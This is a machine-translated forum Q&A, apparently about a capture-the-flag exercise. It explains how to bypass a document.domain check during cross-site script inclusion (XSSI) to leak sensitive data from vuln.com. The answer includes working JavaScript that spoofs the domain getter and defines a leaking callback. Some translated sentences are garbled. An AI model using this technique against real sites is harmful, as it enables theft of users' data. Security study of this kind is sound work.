如何绕过 document.domain 检查?

How to bypass a document.domain check?

我正在尝试在测试站点上执行 XSSI。在易受攻击的站点 vuln.com 中有一个页面 vuln.com/xssi 从 vuln.com/displaysensitivedata 动态加载脚本:

(function (sensitivedata) {
    if (document.domain === 'vuln.com') {
        displaysensitiveinfo(sensitivedata);
    }
})([['data1', 'FLAG{}']]);

我的目标是窃取创建受害者会访问的攻击者页面的标志。 包括脚本在内,敏感数据也包括在内,在我的攻击者页面中,我使 displaysensitiveinfo(sensitivedata) 方法泄漏了数据。

<script src="vuln.com/displaysensitivedata"></script>

function displaysensitiveinfo(sensitivedata){
    console.log(sensitivedata); 
}

但是我无法通过 document.domain 的检查。

如何覆盖 document.domain 以绕过检查?

vuln.com/displaysensitivedata 处的脚本是一个立即调用的函数表达式 (IIFE),因此您需要确保 displaysensitiveinfo 函数的定义在 [之前] 该脚本已加载。

然后你可以通过重新定义它的getter:

强制document.domain到returnvuln.com

// this script must be loaded BEFORE the script at vuln.com/displaysensitivedata
Object.defineProperty(document, 'domain', {get: () => "vuln.com"});

function displaysensitiveinfo(data) {
  alert(`gotcha ${data}`);
}

// vuln.com/displaysensitivedata

(function (sensitivedata) {
  if (document.domain === 'vuln.com') {
    displaysensitiveinfo(sensitivedata);
  }
})([['data1', 'FLAG{}']]);